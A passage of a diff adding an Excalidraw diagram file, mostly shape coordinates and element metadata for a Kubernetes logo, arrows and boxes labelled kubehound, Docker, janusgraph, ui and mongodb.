120.2981309058465 + ], + [ + -22.626611881371108, + 120.2981309058465 + ], + [ + -21.59225057278467, + 117.01188220331923 + ], + [ + -20.33634059785514, + 113.4933161779702 + ], + [ + -18.817800765170123, + 110.56869087948773 + ], + [ + -17.277035165345424, + 109.8144739085872 + ], + [ + -16.468944085746987, + 108.34374053989556 + ], + [ + -16.468944085746987, + 108.34374053989556 + ], + [ + -8.302397809714522, + 110.65206576370957 + ], + [ + 0.07874066277947502, + 111.43531084009767 + ], + [ + 8.463609118385824, + 110.69298254815264 + ], + [ + 16.641324792883715, + 108.4245465652247 + ], + [ + 17.35784119067482, + 109.79831064843408 + ], + [ + 17.35784119067482, + 109.79831064843408 + ], + [ + 19.189509509228095, + 110.9027041881537 + ], + [ + 21.646119543765074, + 116.93646050622904 + ], + [ + 22.691254646547453, + 120.22809353699574 + ], + [ + 23.138400500848704, + 121.14393283399009 + ], + [ + 23.138400500848704, + 121.14393283399009 + ], + [ + 24.26865731190015, + 122.70114426844609 + ], + [ + 25.930678189178675, + 123.43119341488385 + ], + [ + 29.307638436925558, + 122.1566386621109 + ], + [ + 29.53310204422122, + 121.84967029986737 + ], + [ + 30.109667009537304, + 119.97360182421238 + ], + [ + 29.619302673225043, + 118.07318056625454 + ], + [ + 29.150609230531785, + 117.10346716056212 + ], + [ + 29.150609230531785, + 117.10346716056212 + ], + [ + 27.22196135106083, + 114.2428167239437 + ], + [ + 23.989586757231372, + 108.54845804277367 + ], + [ + 24.35592658620327, + 106.39354507203244 + ], + [ + 23.757937337722154, + 104.94435929173295 + ], + [ + 30.625298641918175, + 99.9514429443716 + ], + [ + 36.43355025095557, + 93.84992012870644 + ], + [ + 41.05289286270315, + 86.80393065254657 + ], + [ + 44.353537450465495, + 78.9776348745718 + ], + [ + 45.883518980658664, + 79.2470054180616 + ], + [ + 45.883518980658664, + 79.2470054180616 + ], + [ + 47.892983160894374, + 78.5035571036395 + ], + [ + 54.153014845675365, + 80.33523569762835 + ], + [ + 57.374610507591036, + 81.57430937137492 + ], + [ + 58.30121846106369, + 81.77364254601393 + ], + [ + 58.3712558299147, + 81.77364254601393 + ], + [ + 58.3712558299147, + 81.77364254601393 + ], + [ + 60.29343018497598, + 81.86099402380181 + ], + [ + 61.90051858369281, + 81.01686699165634 + ], + [ + 62.902589335997796, + 79.50323367945654 + ], + [ + 63.00976212900186, + 77.58205604164549 + ], + [ + 62.901962534428044, + 77.18906173280259 + ], + [ + 61.77732638663386, + 75.57212946680905 + ], + [ + 59.97128500439426, + 74.78632580696366 + ], + [ + 58.9261499016117, + 74.53851312730143 + ], + [ + 58.9261499016117, + 74.53851312730143 + ], + [ + 55.47827887299031, + 74.26914258381157 + ], + [ + 49.04586648107269, + 73.20785449631175 + ], + [ + 47.49432708705202, + 71.65631510229093 + ], + [ + 46.0397569785134, + 71.22533250814276 + ], + [ + 46.0397569785134, + 71.22533250814276 + ], + [ + 46.42182849934426, + 62.7414602308113 + ], + [ + 45.27319920949225, + 54.39618302845949 + ], + [ + 42.641156663454154, + 46.393976931229496 + ], + [ + 38.57297814029153, + 38.93931796926348 + ], + [ + 39.84437833434406, + 37.76488706069296 + ], + [ + 39.84437833434406, + 37.76488706069296 + ], + [ + 40.5123946762407, + 35.72849096382601 + ], + [ + 45.84580813211353, + 31.978938284562155 + ], + [ + 48.819591114366894, + 30.23884464781628 + ], + [ + 49.60613460557347, + 29.603144550789917 + ], + [ + 49.60613460557347, + 29.603144550789917 + ], + [ + 51.31031559499923, + 26.421299411380062 + ], + [ + 50.80330505306222, + 24.678256724625353 + ], + [ + 49.406842532676684, + 23.354518599492568 + ], + [ + 48.889628483217905, + 23.127626706652617 + ], + [ + 46.88961770370728, + 23.019883626974433 + ], + [ + 45.14008094167176, + 23.994981360905996 + ], + [ + 44.34275851855159, + 24.630681457932305 + ], + [ + 44.34275851855159, + 24.630681457932305 + ], + [ + 41.98851237317145, + 27.13577099749253 + ], + [ + 37.28541468608594, + 31.56950841652375 + ], + [ + 35.10894385151706, + 31.80654730198995 + ], + [ + 33.74596897565701, + 32.77626070768238 + ], + [ + 33.74596897565701, + 32.77626070768238 + ], + [ + 27.36556056316357, + 27.195363386085663 + ], + [ + 20.14576209432265, + 22.877116725153016 + ], + [ + 12.271397828747437, + 19.912427503379728 + ], + [ + 3.9273331277928976, + 18.392199930402242 + ], + [ + 3.846516827028195, + 16.792175893640444 + ], + [ + 2.6720859184577463, + 15.00359761415349 + ], + [ + 3.081520924213917, + 8.501140146808272 + ], + [ + 3.577156558973885, + 5.090987673308524 + ], + [ + 3.577156558973885, + 4.013531187937945 + ], + [ + 3.577156558973885, + 4.013531187937945 + ], + [ + 2.6310150024810808, + 1.2990102894315039 + ], + [ + 0.04847950502327267, + 0.026937054348987827 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1515, + "versionNonce": 1368809760, + "index": "c1wO", + "isDeleted": false, + "id": "vaZZW_KB_IzM58WkDa8_-", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2515.8826970466944, + "y": 357.73435469445394, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 21.61379816117685, + "height": 21.532986998129886, + "seed": 1667499296, + "groupIds": [ + "OuZKEAe_uMz_sHCeGRHPg", + "XfFXR4kSKKlHn_vnGINpX" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.0774564853706057, + 18.817795627452476 + ], + [ + -1.158267648417528, + 18.817795627452547 + ], + [ + -1.158267648417528, + 18.817795627452547 + ], + [ + -2.9468459279045174, + 21.532986998129886 + ], + [ + -6.1792205217340594, + 21.2420740039657 + ], + [ + -21.61379816117685, + 10.30588168644821 + ], + [ + -21.61379816117685, + 10.30588168644821 + ], + [ + -13.393876135071661, + 4.216689393468182 + ], + [ + -3.8195900481148244, + 0.6141473709164558 + ], + [ + -0.010773794196026688, + 1.7911019889460533e-14 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1512, + "versionNonce": 1315781920, + "index": "c1wP", + "isDeleted": false, + "id": "DM_0D2Qff5mQPef7bQEK9", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2506.65382459137, + "y": 357.2975382621007, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 21.495276149584875, + "height": 21.619182489415984, + "seed": 518414624, + "groupIds": [ + "OuZKEAe_uMz_sHCeGRHPg", + "XfFXR4kSKKlHn_vnGINpX" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0 + ], + [ + 11.5981512901452, + 3.416885452657527 + ], + [ + 21.495276149584875, + 10.36514012338526 + ], + [ + 6.206157576083009, + 21.231300209769678 + ], + [ + 6.206157576083009, + 21.231300209769678 + ], + [ + 2.8768136967713307, + 21.619182489415984 + ], + [ + 1.567702654173706, + 20.466304306955344 + ], + [ + 1.0666826911745382, + 18.796242901342605 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1517, + "versionNonce": 1141414176, + "index": "c1wQ", + "isDeleted": false, + "id": "mZuc-OnPp72NzYAjefhcb", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2542.8276411547886, + "y": 374.84403134366676, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 20.35856122727715, + "height": 23.380828852271723, + "seed": 1908227360, + "groupIds": [ + "OuZKEAe_uMz_sHCeGRHPg", + "XfFXR4kSKKlHn_vnGINpX" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 14.1146928026491, + 12.595474791216494 + ], + [ + 14.114692802649166, + 12.676285954263477 + ], + [ + 14.114692802649166, + 12.676285954263477 + ], + [ + 15.116727590929647, + 15.768590948108955 + ], + [ + 12.870229662945446, + 18.112063299292966 + ], + [ + 12.87022966294547, + 18.165927132555417 + ], + [ + -5.241833636347504, + 23.375439386314806 + ], + [ + -5.241833636347504, + 23.375439386314806 + ], + [ + -4.565802454705608, + 11.247938757301643 + ], + [ + 0.00538432823911132, + -0.005389465956916698 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1515, + "versionNonce": 634942752, + "index": "c1wR", + "isDeleted": false, + "id": "4fASu3CtaHTcEXrrw5i6U", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2479.798390955053, + "y": 374.8515852534192, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 20.385498281626145, + "height": 23.31078634570303, + "seed": 2102958368, + "groupIds": [ + "OuZKEAe_uMz_sHCeGRHPg", + "XfFXR4kSKKlHn_vnGINpX" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0 + ], + [ + 4.602090155424132, + 11.214985435425907 + ], + [ + 5.398066496484489, + 23.31078634570303 + ], + [ + -12.740933857157483, + 18.085121107226268 + ], + [ + -12.740933857157462, + 18.015083738375356 + ], + [ + -12.740933857157462, + 18.015083738375356 + ], + [ + -14.987431785141656, + 15.67161652490902 + ], + [ + -13.985391859143324, + 12.579316668781331 + ], + [ + 0.021547588392073075, + 0.043095176784166724 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1514, + "versionNonce": 2035077408, + "index": "c1wS", + "isDeleted": false, + "id": "wqUOHHnCpWH0QB7BS-mGl", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2514.2985769016123, + "y": 388.2582784982287, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 12.891777251337555, + "height": 12.579321806499099, + "seed": 891843872, + "groupIds": [ + "OuZKEAe_uMz_sHCeGRHPg", + "XfFXR4kSKKlHn_vnGINpX" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.775174981934784, + -8.881784197001252e-16 + ], + [ + 9.303841760449842, + 4.482227199490101 + ], + [ + 8.021672909918966, + 10.085000923417155 + ], + [ + 2.833713382269413, + 12.579321806499099 + ], + [ + -2.365019939576153, + 10.085000923417144 + ], + [ + -3.587935490887712, + 4.482227199490087 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1515, + "versionNonce": 366325024, + "index": "c1wT", + "isDeleted": false, + "id": "90VJXQ3YXN4x4VB4LQpik", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2495.798631322674, + "y": 403.5473970717303, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 22.168687095156212, + "height": 21.969364195952835, + "seed": 513593632, + "groupIds": [ + "OuZKEAe_uMz_sHCeGRHPg", + "XfFXR4kSKKlHn_vnGINpX" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0 + ], + [ + 0.7272850542693186, + 5.051514762044462e-15 + ], + [ + 19.405005944019933, + 3.1515685685003696 + ], + [ + 19.405005944019933, + 3.1515685685003696 + ], + [ + 16.908506668596957, + 8.74112808228329 + ], + [ + 13.522093020124766, + 13.806948645019922 + ], + [ + 9.33970303059214, + 18.24952293864207 + ], + [ + 4.455285007423321, + 21.969364195952835 + ], + [ + -2.7636811511362773, + 4.493006131403921 + ], + [ + -2.7636811511362773, + 4.493006131403921 + ], + [ + -2.536254935646619, + 1.5761490622129528 + ], + [ + -0.02154758839207618, + 0.08081630076475184 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1514, + "versionNonce": 1692600608, + "index": "c1wU", + "isDeleted": false, + "id": "b2AI1INeP6zNuMWsZiexI", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2526.9015334905853, + "y": 403.9945060908376, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 22.034006961129048, + "height": 21.81312619809802, + "seed": 287681824, + "groupIds": [ + "OuZKEAe_uMz_sHCeGRHPg", + "XfFXR4kSKKlHn_vnGINpX" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0 + ], + [ + 2.607448290999286, + 1.443791176624797 + ], + [ + 2.8606504366184167, + 4.406795226964432 + ], + [ + 2.8606504366184176, + 4.476832595815383 + ], + [ + -4.315220545157038, + 21.81312619809802 + ], + [ + -4.315220545157038, + 21.81312619809802 + ], + [ + -13.27966466870164, + 13.729502687122359 + ], + [ + -19.17335652451063, + 3.1892691416098007 + ], + [ + -0.6572476854183891, + 0.048479505023265534 + ], + [ + -0.6572476854183891, + 0.048479505023265534 + ], + [ + -0.03232652030587868, + 0.04847950502326104 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1518, + "versionNonce": 568648992, + "index": "c1wV", + "isDeleted": false, + "id": "gdsVM4OaVixocAF1ceLU4", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2511.3365570394108, + "y": 411.1775923473724, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 23.89262774718469, + "height": 20.091209806876975, + "seed": 1983056160, + "groupIds": [ + "OuZKEAe_uMz_sHCeGRHPg", + "XfFXR4kSKKlHn_vnGINpX" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0 + ], + [ + 1.681595582041039, + 0.4197412676337038 + ], + [ + 2.8929769569243278, + 1.6592876114166915 + ], + [ + 2.9630143257752475, + 1.659287611416706 + ], + [ + 12.089080775413757, + 18.12822142172819 + ], + [ + 8.441886847588968, + 19.20568304481651 + ], + [ + 8.441886847588968, + 19.20568304481651 + ], + [ + -1.7515404719717598, + 20.091209806876975 + ], + [ + -11.803546971770931, + 18.160547942034093 + ], + [ + -2.6451540018264894, + 1.691603856287026 + ], + [ + -2.6451540018264894, + 1.691603856287026 + ], + [ + 0.048489780458839546, + 0.10235361372124321 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "arrow", + "version": 800, + "versionNonce": 441139488, + "index": "c1wW", + "isDeleted": false, + "id": "Pfm8HpLfg_Ns66bNoBe9S", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1702.9207125956455, + "y": 398.1897838947352, + "strokeColor": "#1971c2", + "backgroundColor": "transparent", + "width": 710.7319134955931, + "height": 3.7770355345191455, + "seed": 154461472, + "groupIds": [ + "XfFXR4kSKKlHn_vnGINpX" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": "arrow", + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + -710.7319134955931, + 3.7770355345191455 + ] + ] + }, + { + "type": "rectangle", + "version": 1367, + "versionNonce": 1837505824, + "index": "c1wX", + "isDeleted": false, + "id": "j6pg7PQWeRoDuBL9g7qLh", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -1680.8575385202294, + "y": 240.85178905447174, + "strokeColor": "#f08c00", + "backgroundColor": "#ffec99", + "width": 870.621993023163, + "height": 297.76706033307124, + "seed": 396050720, + "groupIds": [ + "rAMjbZPBloy2Lw5P5GFL9" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "type": "text", + "id": "Lnk5wcbc" + } + ], + "updated": 1720441439025, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1268, + "versionNonce": 1292204320, + "index": "c1wY", + "isDeleted": false, + "id": "Lnk5wcbc", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -1430.1692531902886, + "y": 341.2670323311704, + "strokeColor": "#f08c00", + "backgroundColor": "transparent", + "width": 369.24542236328125, + "height": 96.93657377967433, + "seed": 1087773984, + "groupIds": [ + "rAMjbZPBloy2Lw5P5GFL9" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false, + "fontSize": 77.54925902373947, + "fontFamily": 1, + "text": "kubehound", + "rawText": "kubehound", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "j6pg7PQWeRoDuBL9g7qLh", + "originalText": "kubehound", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 3875, + "versionNonce": 1010390304, + "index": "c1wZ", + "isDeleted": false, + "id": "GgHzj5tIsLw-r3ITwS_HO", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1642.5435324167747, + "y": 564.7934218514883, + "strokeColor": "#000000", + "backgroundColor": "#ced4da", + "width": 249.94573008593926, + "height": 249.70638348484775, + "seed": 911571232, + "groupIds": [ + "3yLz_JxYK0smtg4kmJgXo", + "ulWpS2zhj7xHkjl7Gb8DC", + "yBLy4xgoXpIkMfeiZ1a5s", + "3P73qnwnRfu8LN_Y7rtbS", + "YyYvN9gKrwzOX_NZTiyvP", + "cxhREfgIc0h6lbDfckLO1", + "eM4kBToRYwRAHxyspy4eL" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 3108, + "versionNonce": 1351725344, + "index": "c1wa", + "isDeleted": false, + "id": "kL6uGCVBwrPKyCUOlBlmu", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1583.829188963401, + "y": 701.8770402065156, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 219.54720533052253, + "height": 107.7212538517636, + "seed": 2072597792, + "groupIds": [ + "vUqHiKbVwrzuNsBrHXRkB", + "YyYvN9gKrwzOX_NZTiyvP", + "cxhREfgIc0h6lbDfckLO1", + "eM4kBToRYwRAHxyspy4eL" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 102.75000740386106, + -2.1540856871777536 + ], + [ + 127.44821455311391, + -5.241348626123922 + ], + [ + 122.32612227990099, + -25.0981178808364 + ], + [ + 130.46531006986405, + -43.97257620042899 + ], + [ + 143.02487586924656, + -26.361102037842517 + ], + [ + 141.3409495972131, + -12.187716148173509 + ], + [ + 161.5836432071069, + -26.04535923726853 + ], + [ + 177.40592112115056, + -20.256734160538656 + ], + [ + 168.0037338640688, + -7.521739206357446 + ], + [ + 147.30495436530225, + 2.2663394302796376 + ], + [ + 93.27775518456512, + 57.87230443272847 + ], + [ + 0.6595890787558835, + 63.74867765133462 + ], + [ + -42.14128420937197, + 4.32216811452447 + ], + [ + -13.89273504409956, + -2.315447204210012 + ], + [ + -1.113582428592525, + -0.07578625547812153 + ] + ] + }, + { + "type": "rectangle", + "version": 2014, + "versionNonce": 1904119072, + "index": "c1wb", + "isDeleted": false, + "id": "cIazRXMNRqOGfSRbNI3b2", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1608.1988834220992, + "y": 671.5853769012629, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 21.583325570011986, + "height": 21.583325570011986, + "seed": 635547936, + "groupIds": [ + "vUqHiKbVwrzuNsBrHXRkB", + "YyYvN9gKrwzOX_NZTiyvP", + "cxhREfgIc0h6lbDfckLO1", + "eM4kBToRYwRAHxyspy4eL" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 2069, + "versionNonce": 409987360, + "index": "c1wc", + "isDeleted": false, + "id": "jqXSiA0Dqi0iRP5PLqpCK", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1581.2197340068524, + "y": 670.596157372589, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 21.583325570011986, + "height": 21.583325570011986, + "seed": 483298592, + "groupIds": [ + "vUqHiKbVwrzuNsBrHXRkB", + "YyYvN9gKrwzOX_NZTiyvP", + "cxhREfgIc0h6lbDfckLO1", + "eM4kBToRYwRAHxyspy4eL" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 2089, + "versionNonce": 282445088, + "index": "c1wd", + "isDeleted": false, + "id": "CbIc32t2931PbVQqZgNho", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1552.981580663194, + "y": 671.0457628182357, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 21.583325570011986, + "height": 21.583325570011986, + "seed": 1505749280, + "groupIds": [ + "vUqHiKbVwrzuNsBrHXRkB", + "YyYvN9gKrwzOX_NZTiyvP", + "cxhREfgIc0h6lbDfckLO1", + "eM4kBToRYwRAHxyspy4eL" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 2110, + "versionNonce": 941629728, + "index": "c1we", + "isDeleted": false, + "id": "HX8IP7ZD19LVrhSoT5m09", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1524.8333604842737, + "y": 669.6968559141342, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 21.583325570011986, + "height": 21.583325570011986, + "seed": 673563936, + "groupIds": [ + "vUqHiKbVwrzuNsBrHXRkB", + "YyYvN9gKrwzOX_NZTiyvP", + "cxhREfgIc0h6lbDfckLO1", + "eM4kBToRYwRAHxyspy4eL" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 2152, + "versionNonce": 1035926816, + "index": "c1wf", + "isDeleted": false, + "id": "z5E2KPTo_um-7qZjhh-Xr", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1498.124025657793, + "y": 670.0565583840726, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 21.583325570011986, + "height": 21.583325570011986, + "seed": 1701847328, + "groupIds": [ + "vUqHiKbVwrzuNsBrHXRkB", + "YyYvN9gKrwzOX_NZTiyvP", + "cxhREfgIc0h6lbDfckLO1", + "eM4kBToRYwRAHxyspy4eL" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 2056, + "versionNonce": 1663195424, + "index": "c1wg", + "isDeleted": false, + "id": "Mf9vhnL4KV7QstGp1ecgA", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1581.984173454488, + "y": 644.4264215346047, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 21.583325570011986, + "height": 21.583325570011986, + "seed": 1091501344, + "groupIds": [ + "vUqHiKbVwrzuNsBrHXRkB", + "YyYvN9gKrwzOX_NZTiyvP", + "cxhREfgIc0h6lbDfckLO1", + "eM4kBToRYwRAHxyspy4eL" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 2080, + "versionNonce": 1002059040, + "index": "c1wh", + "isDeleted": false, + "id": "yQ1OrcicOe0g7yGgr5z77", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1553.6560718515502, + "y": 644.7861390990647, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 21.583325570011986, + "height": 21.583325570011986, + "seed": 2087868704, + "groupIds": [ + "vUqHiKbVwrzuNsBrHXRkB", + "YyYvN9gKrwzOX_NZTiyvP", + "cxhREfgIc0h6lbDfckLO1", + "eM4kBToRYwRAHxyspy4eL" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 2104, + "versionNonce": 1828098336, + "index": "c1wi", + "isDeleted": false, + "id": "ymg6nk0-gBQ8QA8wRdPb6", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1524.9682526841425, + "y": 644.7861089100379, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 21.583325570011986, + "height": 21.583325570011986, + "seed": 722089248, + "groupIds": [ + "vUqHiKbVwrzuNsBrHXRkB", + "YyYvN9gKrwzOX_NZTiyvP", + "cxhREfgIc0h6lbDfckLO1", + "eM4kBToRYwRAHxyspy4eL" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 2123, + "versionNonce": 1850174752, + "index": "c1wj", + "isDeleted": false, + "id": "RCLIoq4OwPSNHnHP3UCOe", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1525.912558461273, + "y": 617.267390695336, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 21.583325570011986, + "height": 21.583325570011986, + "seed": 1917227296, + "groupIds": [ + "vUqHiKbVwrzuNsBrHXRkB", + "YyYvN9gKrwzOX_NZTiyvP", + "cxhREfgIc0h6lbDfckLO1", + "eM4kBToRYwRAHxyspy4eL" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 2639, + "versionNonce": 1226623264, + "index": "c1wk", + "isDeleted": false, + "id": "Z8G0Zq82", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1647.4656762385712, + "y": 835.3793146858534, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 255.88197326660156, + "height": 96.93657377967433, + "seed": 1234660640, + "groupIds": [ + "cxhREfgIc0h6lbDfckLO1", + "eM4kBToRYwRAHxyspy4eL" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false, + "fontSize": 77.54925902373947, + "fontFamily": 1, + "text": "Docker", + "rawText": "Docker", + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Docker", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "text", + "version": 623, + "versionNonce": 1491510560, + "index": "c1wl", + "isDeleted": false, + "id": "C3bd35Tn", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1334.9587698596197, + "y": 592.016516356317, + "strokeColor": "#343a40", + "backgroundColor": "#ffec99", + "width": 487.4094870808942, + "height": 290.809721339023, + "seed": 980207904, + "groupIds": [ + "eM4kBToRYwRAHxyspy4eL" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441439025, + "link": null, + "locked": false, + "fontSize": 77.54925902373947, + "fontFamily": 1, + "text": "janusgraph\nui\nmongodb", + "rawText": "janusgraph\nui\nmongodb", + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "janusgraph\nui\nmongodb", + "autoResize": false, + "lineHeight": 1.25 + } + ], + "appState": 